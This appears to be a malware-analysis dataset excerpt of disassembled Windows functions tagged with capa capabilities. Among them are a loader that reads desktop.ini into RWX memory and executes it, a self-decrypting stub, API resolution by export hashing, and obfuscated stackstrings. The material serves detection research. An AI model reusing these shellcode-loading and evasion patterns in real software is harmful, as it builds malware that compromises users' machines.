joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100b4fc0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
test ebx, ebx
je 0x100b5151
mov eax, dword [ebx]
mov ecx, ebx
mov eax, dword [eax + 0x280]
call eax
test al, al
je 0x100b5151
mov eax, dword [0x10146160]
cmp dword [eax + 0x174], 0xffffffff
je 0x100b5151
mov eax, dword [0x101463d0]
add eax, 0xffffff91
xor eax, 0x5452c827
cmp dword [eax + ebx], 0
mov eax, dword [0x10146398]
setle cl
add eax, 0xffffff9f
xor eax, 0x5452c819
xor edi, edi
mov byte [eax + ebx], cl
mov eax, dword [0x1014638c]
add eax, 0xffffffa2
xor eax, 0x5452c816
mov dword [eax + ebx + 0xc], 0
mov eax, dword [0x10146390]
add eax, 0xffffffa1
xor eax, 0x5452c817
mov dword [eax + ebx + 0xc], 0
mov ecx, dword [0x10146394]
lea eax, [ecx - 0x60]
xor eax, 0x5452c818
mov edx, dword [eax + ebx + 0xc]
mov dword [ebp - 4], edx
test edx, edx
je 0x100b50ae
lea eax, [ecx - 0x60]
xor eax, 0x5452c818
mov eax, dword [eax + ebx]
mov esi, dword [eax + edi*4]
lea ebx, [eax + edi*4]
test esi, esi
je 0x100b50a6
or eax, 0xffffffff
lock xadd dword [esi + 4], eax
jne 0x100b509a
mov eax, dword [esi]
mov ecx, esi
mov eax, dword [eax + 4]
call eax
test al, al
je 0x100b5097
mov eax, dword [esi]
mov ecx, esi
push 1
call dword [eax]
mov edx, dword [ebp - 4]
mov dword [ebx], 0
mov ecx, dword [0x10146394]
mov ebx, dword [ebp + 8]
inc edi
cmp edi, edx
jb 0x100b5063
lea eax, [ecx - 0x60]
xor eax, 0x5452c818
lea ecx, [ebx + 8]
push 0
mov dword [eax + ebx + 0xc], 0
mov eax, dword [ebx + 8]
mov eax, dword [eax + 0x1c]
call eax
mov eax, dword [ebx + 8]
lea ecx, [ebx + 8]
push 0
mov eax, dword [eax + 0x14]
call eax
mov ecx, dword [0x10146174]
xor ebx, ebx
mov dword [ebp - 4], ecx
mov eax, dword [ecx + 0x28]
mov dword [ebp - 8], eax
test eax, eax
je 0x100b5142
nop dword [eax]
mov eax, dword [ecx + 0x1c]
mov ecx, dword [eax + ebx*4]
mov eax, dword [ecx]
mov eax, dword [eax + 0x30]
call eax
mov esi, eax
mov edi, 0x811c9dc5
xor ecx, ecx
inc ecx
cmp byte [ecx + esi], 0
jne 0x100b5106
xor edx, edx
test ecx, ecx
je 0x100b512c
movsx eax, byte [edx + esi]
inc edx
xor eax, edi
imul edi, eax, 0x1000193
cmp edx, ecx
jb 0x100b5113
cmp edi, 0x79705c5e
je 0x100b5137
inc ebx
cmp ebx, dword [ebp - 8]
jae 0x100b5142
mov ecx, dword [ebp - 4]
jmp 0x100b50f0
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x1c]
mov ecx, dword [eax + ebx*4]
jmp 0x100b5144
xor ecx, ecx
push 0
push dword [ebp + 8]
push 0
call dword [0x10146248]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x100ba720
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100fcb8d
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x48
mov eax, dword [0x1011f050]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [0x10146160]
mov edi, dword [esi + 0x174]
test edi, edi
setg byte [ebp - 0x18]
cmp dword [0x10132710], 4
jne 0x100ba79d
mov edx, dword [esi + 0x4cb0]
add edx, dword [esi + 0x4cac]
mov ecx, dword [0x10146108]
push edx
push dword [esi + 0x4cb4]
mov eax, dword [ecx]
push dword [ebp - 0x18]
push edi
mov eax, dword [eax + 0xc]
call eax
cmp byte [0x1014b304], 0
jne 0x100ba8d3
movaps xmm0, xmmword [0x101109b0]
xor eax, eax
movaps xmm2, xmmword [0x10110880]
movups xmmword [ebp - 0x58], xmm0
mov word [ebp - 0x38], 0x1015
movaps xmm0, xmmword [0x10110bd0]
movups xmmword [ebp - 0x48], xmm0
mov byte [ebp - 0x36], 0x53
movups xmm0, xmmword [ebp + eax - 0x58]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [ebp + eax - 0x58], xmm1
add eax, 0x10
cmp eax, 0x20
jb 0x100ba7d3
cmp eax, 0x23
jae 0x100ba7fc
xor byte [ebp + eax - 0x58], 0x53
inc eax
cmp eax, 0x23
jb 0x100ba7f1
lea ecx, [ebp - 0x58]
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x24], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x20], 0xf
mov byte [ebp - 0x34], 0
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100ba820
sub ecx, edx
lea eax, [ebp - 0x58]
push ecx
push eax
lea ecx, [ebp - 0x34]
call fcn.10021020
mov dword [ebp - 4], 0
mov edx, dword [0x101460c0]
test edx, edx
je 0x100ba84c
mov edx, dword [edx + 0x50]
jmp 0x100ba84e
xor edx, edx
mov eax, dword [0x101460b8]
test eax, eax
je 0x100ba85c
mov eax, dword [eax + 0x18]
jmp 0x100ba85e
xor eax, eax
lea ecx, [ebp - 0x34]
push ecx
push eax
lea ecx, [ebp - 0x1c]
call fcn.1001a260
mov edi, dword [ebp - 0x1c]
add esp, 8
mov edx, dword [ebp - 0x20]
inc edi
cmp edx, 0x10
jb 0x100ba8a2
mov ecx, dword [ebp - 0x34]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100ba898
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100ba8f1
push edx
push ecx
call fcn.100cb52f
add esp, 8
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0x18]
push eax
push 0x40
push 4
push edi
mov dword [ebp - 0x18], 0
call esi
lea eax, [ebp - 0x18]
mov dword [edi], 0x3e
push eax
push dword [ebp - 0x18]
push 4
push edi
call esi
mov byte [0x1014b304], 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.100cb0af
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.100d0a62
int3
Function at 0x100e1f75
Capabilities:
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.100e1ef7

Function at 0x100e36ea
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.100e3560

Function at 0x100ea004
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.100e9c81

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows

Disassembly:
push ebx
push esi
mov ebx, 0x10003028
xor esi, esi
push edi
cmp ebx, 0x10002034
jne 0x1000116a
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x10002038]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x10001172
push 1
push esi
push esi
push ebx
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x1000203c]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x1000119d
push 0x40
mov eax, 0x1000
push eax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10003018], eax
lea edi, [ebx - 2]
mov ax, word [edi + 2]
add edi, 2
cmp ax, si
jne 0x100011cb
push 5
pop ecx
mov esi, str.sktop.ini
rep movsd dword es:[edi], dword [esi]
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
cmp eax, 0xffffffff
je 0x10001222
push esi
push 0x10003020
push 0x1000
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
ret 0x10

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x401000
Capabilities:
Accept command line arguments
Check os version
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x33c
push esi
lea eax, [ebp - 0x114]
push eax
mov dword [ebp - 0x114], 0x114
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
cmp dword [ebp - 0x104], 2
jne 0x401045
cmp dword [ebp - 0x110], 6
ja 0x40103e
jne 0x401045
cmp dword [ebp - 0x10c], 2
jb 0x401045
mov esi, 0x1100
jmp 0x401048
push 8
pop esi
push 0x104
lea eax, [ebp - 0x33c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x33c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [ebp + eax*2 - 0x33c]
jmp 0x40107d
lea ecx, [eax - 2]
cmp word [ecx], 0x5c
je 0x401087
mov eax, ecx
lea ecx, [ebp - 0x33c]
cmp eax, ecx
ja 0x401072
push str.Tsu.dll
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push esi
push 0
lea eax, [ebp - 0x33c]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
test eax, eax
jne 0x4010b4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push str._TsuMainW_8
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x4010a7
push 0
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call esi
jmp 0x4010ad
Function at 0x43fb90
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0xc
mov eax, dword [esp + 0x20]
push ebx
push ebp
push esi
mov ebx, dword [eax]
push edi
push 0x800
push 0x40
mov dword [esp + 0x1c], ebx
call dword [ebx + 0x2c]
mov edi, eax
test edi, edi
jne 0x43fbbc
pop edi
pop esi
pop ebp
xor ax, ax
pop ebx
add esp, 0xc
ret
mov ecx, dword [esp + 0x28]
mov edx, dword [esp + 0x20]
push 0
push 0
push ecx
push edx
call dword [ebx + 0x24]
mov eax, dword [esp + 0x2c]
mov ebp, 0xff765eda
test eax, eax
je 0x43fc80
jmp 0x43fbe4
mov eax, dword [esp + 0x2c]
cmp eax, 0x800
jb 0x43fbf0
mov eax, 0x800
mov edx, dword [esp + 0x20]
lea ecx, [esp + 0x10]
push 0
push ecx
push eax
push edi
push edx
call dword [ebx + 0x14]
test eax, eax
je 0x43fc90
mov edx, dword [esp + 0x10]
test edx, edx
je 0x43fcd2
xor esi, esi
test edx, edx
jle 0x43fc57
mov ecx, ebp
xor ecx, 0xfff45367
mov eax, ecx
mov ebx, ecx
shr eax, 0x18
shr ebx, 0x10
xor al, bl
mov ebx, ecx
shr ebx, 8
xor al, bl
mov bl, byte [esi + edi]
xor al, bl
xor al, cl
mov byte [esi + edi], al
and eax, 0xff
shl ebp, 8
add ebp, eax
inc esi
cmp esi, edx
jl 0x43fc1b
mov edx, dword [esp + 0x10]
mov ebx, dword [esp + 0x14]
mov ecx, dword [esp + 0x24]
lea eax, [esp + 0x18]
push 0
push eax
push edx
push edi
push ecx
call dword [ebx + 0x18]
test eax, eax
je 0x43fcb2
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0x2c]
sub eax, edx
mov dword [esp + 0x2c], eax
jne 0x43fbe0
push edi
call dword [ebx + 0x30]
pop edi
pop esi
pop ebp
mov ax, 1
pop ebx
add esp, 0xc
ret
push 0
call dword [ebx + 0x78]
push eax
mov eax, dword [esp + 0x38]
push eax
call fcn.00440900
add esp, 0xc
push edi
call dword [ebx + 0x30]
pop edi
pop esi
pop ebp
xor ax, ax
pop ebx
add esp, 0xc
ret
call dword [ebx + 0x78]
mov ecx, dword [esp + 0x30]
push eax
push ecx
call fcn.00440970
add esp, 8
push edi
call dword [ebx + 0x30]
pop edi
pop esi
pop ebp
xor ax, ax
pop ebx
add esp, 0xc
ret
push 0
call dword [ebx + 0x78]
mov edx, dword [esp + 0x34]
push eax
push edx
call fcn.00440900
add esp, 0xc
push edi
call dword [ebx + 0x30]
pop edi
pop esi
pop ebp
xor ax, ax
pop ebx
add esp, 0xc
ret

Function at 0x440770
Capabilities:
Encode data using xor

Disassembly:
mov ecx, dword [esp + 8]
push esi
mov esi, dword [esp + 8]
push edi
mov al, byte [ecx]
xor edi, edi
mov byte [esi], al
mov al, byte [ecx]
test al, al
je 0x4407aa
mov edx, esi
push ebx
sub edx, ecx
mov al, byte [ecx + 1]
mov bl, byte [edx + ecx]
inc edi
inc ecx
dec al
xor al, bl
mov byte [edx + ecx], al
mov al, byte [ecx]
test al, al
jne 0x44078b
mov byte [edi + esi], 0
pop ebx
mov eax, esi
pop edi
pop esi
ret
mov byte [edi + esi], 0
mov eax, esi
pop edi
pop esi
ret
Function at 0x444470
Capabilities:
Hash data using rshash

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 8], 0x5c6b7
mov dword [ebp - 4], 0xf8c9
mov dword [ebp - 0xc], 0
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
test ecx, ecx
je 0x4444e8
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x41
jl 0x4444c1
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x5a
jg 0x4444c1
mov eax, dword [ebp - 0xc]
imul eax, dword [ebp - 4]
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
lea eax, [eax + edx + 0x20]
mov dword [ebp - 0xc], eax
jmp 0x4444d3
mov ecx, dword [ebp - 0xc]
imul ecx, dword [ebp - 4]
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
add ecx, eax
mov dword [ebp - 0xc], ecx
mov ecx, dword [ebp - 4]
imul ecx, dword [ebp - 8]
mov dword [ebp - 4], ecx
mov edx, dword [ebp + 8]
add edx, 1
mov dword [ebp + 8], edx
jmp 0x44448b
mov eax, dword [ebp - 0xc]
and eax, 0x7fffffff
mov esp, ebp
pop ebp
ret

Function at 0x444500
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x78]
mov dword [ebp - 8], ecx
mov dword [ebp - 0x10], 1
jmp 0x444536
mov edx, dword [ebp - 0x10]
add edx, 1
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
cmp ecx, dword [eax + 0x14]
jae 0x444594
mov edx, dword [ebp - 8]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x20]
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp + 8]
add edx, dword [eax + ecx*4]
push edx
call fcn.00444470
add esp, 4
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp + 0xc]
jne 0x444592
mov ecx, dword [ebp - 8]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x24]
mov eax, dword [ebp - 0x10]
mov cx, word [edx + eax*2]
mov word [ebp - 0x18], cx
mov edx, dword [ebp - 8]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x1c]
movzx ecx, word [ebp - 0x18]
mov edx, dword [ebp + 8]
add edx, dword [eax + ecx*4]
mov eax, edx
jmp 0x444596
jmp 0x44452d
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x4445a0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov byte [ebp - 0x10], 0x6b
mov byte [ebp - 0xf], 0x65
mov byte [ebp - 0xe], 0x72
mov byte [ebp - 0xd], 0x6e
mov byte [ebp - 0xc], 0x65
mov byte [ebp - 0xb], 0x6c
mov byte [ebp - 0xa], 0x33
mov byte [ebp - 9], 0x32
mov byte [ebp - 8], 0x2e
mov byte [ebp - 7], 0x64
mov byte [ebp - 6], 0x6c
mov byte [ebp - 5], 0x6c
mov byte [ebp - 4], 0
lea eax, [ebp - 0x10]
push eax
call dword [fcn.00409004]
mov esp, ebp
pop ebp
ret
Function at 0x444790
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x160
mov dword [ebp - 0x20], 0x23ec5044
mov dword [ebp - 0x1c], 0x33af2093
push 0
push 2
call fcn.004453e6
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x150], 0x128
lea eax, [ebp - 0x150]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
call fcn.004453d4
mov byte [ebp - 0xc], 0x75
mov byte [ebp - 0xb], 0x73
mov byte [ebp - 0xa], 0x65
mov byte [ebp - 9], 0x72
mov byte [ebp - 8], 0x33
mov byte [ebp - 7], 0x32
mov byte [ebp - 6], 0x2e
mov byte [ebp - 5], 0x64
mov byte [ebp - 4], 0x6c
mov byte [ebp - 3], 0x6c
mov byte [ebp - 2], 0
lea edx, [ebp - 0xc]
push edx
call dword [fcn.00409004]
mov dword [ebp - 0x160], eax
cmp dword [ebp - 0x160], 0
jne 0x444822
lea eax, [ebp - 0xc]
push eax
call dword [fcn.00409018]
mov dword [ebp - 0x160], eax
mov byte [ebp - 0x15c], 0x45
mov byte [ebp - 0x15b], 0x6e
mov byte [ebp - 0x15a], 0x75
mov byte [ebp - 0x159], 0x6d
mov byte [ebp - 0x158], 0x57
mov byte [ebp - 0x157], 0x69
mov byte [ebp - 0x156], 0x6e
mov byte [ebp - 0x155], 0x64
mov byte [ebp - 0x154], 0x6f
mov byte [ebp - 0x153], 0x77
mov byte [ebp - 0x152], 0x73
mov byte [ebp - 0x151], 0
lea ecx, [ebp - 0x150]
push ecx
mov edx, dword [ebp - 0x24]
push edx
call fcn.004453e0
test eax, eax
jne 0x444876
mov byte [ebp - 0x18], 0x4d
mov byte [ebp - 0x17], 0x69
mov byte [ebp - 0x16], 0x6e
mov byte [ebp - 0x15], 0x69
mov byte [ebp - 0x14], 0x53
mov byte [ebp - 0x13], 0x6e
mov byte [ebp - 0x12], 0x69
mov byte [ebp - 0x11], 0x66
mov byte [ebp - 0x10], 0x66
mov byte [ebp - 0xf], 0x65
mov byte [ebp - 0xe], 0x72
mov byte [ebp - 0xd], 0
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x4448c0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x258
mov byte [ebp - 0xc], 0x46
mov byte [ebp - 0xb], 0x69
mov byte [ebp - 0xa], 0x6e
mov byte [ebp - 9], 0x64
mov byte [ebp - 8], 0x43
mov byte [ebp - 7], 0x6c
mov byte [ebp - 6], 0x6f
mov byte [ebp - 5], 0x73
mov byte [ebp - 4], 0x65
mov byte [ebp - 3], 0
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x118]
push ecx
call dword [0x40902c]
push 0x40a29c
lea edx, [ebp - 0x118]
push edx
call fcn.00444670
add esp, 8
lea eax, [ebp - 0x258]
push eax
lea ecx, [ebp - 0x118]
push ecx
call dword [0x409014]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x444937
xor al, al
jmp 0x444976
cmp dword [ebp - 0x258], 0x10
jne 0x44495f
movsx edx, byte [ebp - 0x22c]
cmp edx, 0x2e
je 0x44495f
push 0x40a2a4
mov eax, dword [ebp + 0xc]
push eax
call dword [0x40900c]
mov al, 1
jmp 0x444976
lea ecx, [ebp - 0x258]
push ecx
mov edx, dword [ebp - 0x10]
push edx
call dword [0x409020]
test eax, eax
jne 0x444937
xor al, al
mov esp, ebp
pop ebp
ret
Function at 0x445240
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x240
push 0x4ee61051
call fcn.004445f0
add esp, 4
mov dword [ebp - 0x10], eax
mov byte [ebp - 0xc], 0x75
mov byte [ebp - 0xb], 0x73
mov byte [ebp - 0xa], 0x65
mov byte [ebp - 9], 0x72
mov byte [ebp - 8], 0x33
mov byte [ebp - 7], 0x32
mov byte [ebp - 6], 0x2e
mov byte [ebp - 5], 0x64
mov byte [ebp - 4], 0x6c
mov byte [ebp - 3], 0x6c
mov byte [ebp - 2], 0
lea eax, [ebp - 0xc]
push eax
call dword [fcn.00409004]
mov dword [ebp - 0x23c], eax
cmp dword [ebp - 0x23c], 0
jne 0x4452ae
lea ecx, [ebp - 0xc]
push ecx
call dword [fcn.00409018]
mov dword [ebp - 0x23c], eax
push 0x384977d3
mov edx, dword [ebp - 0x23c]
push edx
call fcn.00444500
add esp, 8
mov dword [ebp - 0x238], eax
push 0x7f8a
push 0x7f00
push 0
call dword [fcn.00409110]
push eax
call dword [fcn.00409114]
push eax
call dword [ebp - 0x238]
call fcn.00444980
call fcn.00444ef0
call fcn.00444980
call fcn.004449b0
push 0x660c1c02
call fcn.004445f0
add esp, 4
mov dword [ebp - 0x240], eax
push 0x104
lea eax, [ebp - 0x220]
push eax
push 0
call dword [ebp - 0x240]
push 0x214c6981
call fcn.004445f0
add esp, 4
mov dword [ebp - 0x224], eax
push 0x104
lea ecx, [ebp - 0x118]
push ecx
call dword [ebp - 0x224]
mov byte [ebp - 0x234], 0x5c
mov byte [ebp - 0x233], 0x5c
mov byte [ebp - 0x232], 0x73
mov byte [ebp - 0x231], 0x79
mov byte [ebp - 0x230], 0x73
mov byte [ebp - 0x22f], 0x74
mov byte [ebp - 0x22e], 0x65
mov byte [ebp - 0x22d], 0x6d
mov byte [ebp - 0x22c], 0x2e
mov byte [ebp - 0x22b], 0x65
mov byte [ebp - 0x22a], 0x78
mov byte [ebp - 0x229], 0x65
mov byte [ebp - 0x228], 0
lea edx, [ebp - 0x234]
push edx
lea eax, [ebp - 0x118]
push eax
call fcn.00444670
add esp, 8
push 1
lea ecx, [ebp - 0x118]
push ecx
lea edx, [ebp - 0x220]
push edx
call dword [ebp - 0x10]
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10
Function at 0x44ec00
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x84
mov eax, dword [ebp + 8]
push eax
call fcn.0044e650
add esp, 4
movzx ecx, al
test ecx, ecx
jne 0x44ecd2
push 0
push 0x14
lea edx, [ebp - 0x84]
push edx
lea eax, [ebp - 0x50]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
call dword [0x1000a16c]
push 0
push 0
push 0
lea edx, [ebp - 0x50]
push edx
call dword [0x1000a180]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x44ec59
xor al, al
jmp 0x44edf4
mov dword [ebp - 0x70], 0x1c
lea eax, [ebp - 0x70]
push eax
push 1
push 0
push 0
lea ecx, [ebp - 0x50]
push ecx
lea edx, [ebp - 0x84]
push edx
mov eax, dword [ebp - 8]
push eax
call dword [0x1000a17c]
test eax, eax
jne 0x44ec8a
xor al, al
jmp 0x44edf4
mov ecx, dword [ebp + 8]
push ecx
call dword [0x1000a08c]
add eax, 2
push eax
mov edx, dword [ebp + 8]
push edx
push 1
lea eax, [ebp - 0x70]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [0x1000a188]
test eax, eax
jne 0x44ecb7
xor al, al
jmp 0x44edf4
lea edx, [ebp - 0x70]
push edx
mov eax, dword [ebp - 8]
push eax
push 0x19
call dword [0x1000a184]
test eax, eax
jne 0x44ecd2
xor al, al
jmp 0x44edf4
mov dword [ebp - 4], 0
mov byte [ebp - 0x40], 0x6e
mov byte [ebp - 0x3f], 0x65
mov byte [ebp - 0x3e], 0x77
mov byte [ebp - 0x3d], 0x64
mov byte [ebp - 0x3c], 0x65
mov byte [ebp - 0x3b], 0x76
mov byte [ebp - 0x3a], 0x2e
mov byte [ebp - 0x39], 0x64
mov byte [ebp - 0x38], 0x6c
mov byte [ebp - 0x37], 0x6c
mov byte [ebp - 0x36], 0
lea ecx, [ebp - 0x40]
push ecx
call dword [0x1000a040]
mov dword [ebp - 0x34], eax
push 0x94c4c32
call fcn.004505e0
add esp, 4
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x34], 0
jne 0x44ed32
lea edx, [ebp - 0x40]
push edx
call dword [ebp - 0x30]
mov dword [ebp - 0x34], eax
mov byte [ebp - 0x2c], 0x55
mov byte [ebp - 0x2b], 0x70
mov byte [ebp - 0x2a], 0x64
mov byte [ebp - 0x29], 0x61
mov byte [ebp - 0x28], 0x74
mov byte [ebp - 0x27], 0x65
mov byte [ebp - 0x26], 0x44
mov byte [ebp - 0x25], 0x72
mov byte [ebp - 0x24], 0x69
mov byte [ebp - 0x23], 0x76
mov byte [ebp - 0x22], 0x65
mov byte [ebp - 0x21], 0x72
mov byte [ebp - 0x20], 0x46
mov byte [ebp - 0x1f], 0x6f
mov byte [ebp - 0x1e], 0x72
mov byte [ebp - 0x1d], 0x50
mov byte [ebp - 0x1c], 0x6c
mov byte [ebp - 0x1b], 0x75
mov byte [ebp - 0x1a], 0x67
mov byte [ebp - 0x19], 0x41
mov byte [ebp - 0x18], 0x6e
mov byte [ebp - 0x17], 0x64
mov byte [ebp - 0x16], 0x50
mov byte [ebp - 0x15], 0x6c
mov byte [ebp - 0x14], 0x61
mov byte [ebp - 0x13], 0x79
mov byte [ebp - 0x12], 0x44
mov byte [ebp - 0x11], 0x65
mov byte [ebp - 0x10], 0x76
mov byte [ebp - 0xf], 0x69
mov byte [ebp - 0xe], 0x63
mov byte [ebp - 0xd], 0x65
mov byte [ebp - 0xc], 0x73
mov byte [ebp - 0xb], 0x41
mov byte [ebp - 0xa], 0
lea eax, [ebp - 0x2c]
push eax
mov ecx, dword [ebp - 0x34]
push ecx
call dword [0x1000a02c]
mov dword [ebp - 0x54], eax
lea edx, [ebp - 4]
push edx
push 1
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0
call dword [ebp - 0x54]
test eax, eax
jne 0x44edea
xor al, al
jmp 0x44edf4
mov edx, dword [ebp - 8]
push edx
call dword [0x1000a178]
mov esp, ebp
pop ebp
ret